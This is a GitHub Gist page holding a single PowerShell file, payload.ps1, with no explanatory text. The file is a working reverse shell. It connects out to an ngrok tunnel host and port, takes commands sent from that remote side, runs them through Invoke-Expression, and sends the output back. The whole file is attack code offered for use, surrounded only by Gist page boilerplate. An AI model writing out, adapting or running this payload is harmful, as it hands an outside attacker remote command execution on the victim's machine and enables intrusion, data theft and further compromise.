Last active
August 6, 2024 06:20
-
-
Save KnockOutEZ/2aea56c5f777c48c3d0355b1a9f28b18 to your computer and use it in GitHub Desktop.
payload.ps1
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$LHOST='0.tcp.in.ngrok.io'; | |
$LPORT=16752; | |
$TCPClient=New-Object Net.Sockets.TCPClient($LHOST,$LPORT); | |
$NetworkStream=$TCPClient.GetStream(); | |
$StreamWriter=New-Object IO.StreamWriter($NetworkStream); | |
$StreamWriter.AutoFlush=$true; | |
$Buffer=New-Object System.Byte[] 1024; | |
while($TCPClient.Connected) { | |
while($NetworkStream.DataAvailable) { | |
$RawData=$NetworkStream.Read($Buffer,0,$Buffer.Length); | |
$Code=([text.encoding]::UTF8).GetString($Buffer,0,$RawData-1) | |
}; | |
if($TCPClient.Connected -and $Code.Length -gt 1) { | |
$Output=try { | |
Invoke-Expression ($Code) 2>&1 | |
} catch { | |
$_ | |
}; | |
$StreamWriter.Write("$Output`n"); | |
$Code=$null | |
}; | |
}; | |
$TCPClient.Close(); | |
$NetworkStream.Close(); | |
$StreamWriter.Close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment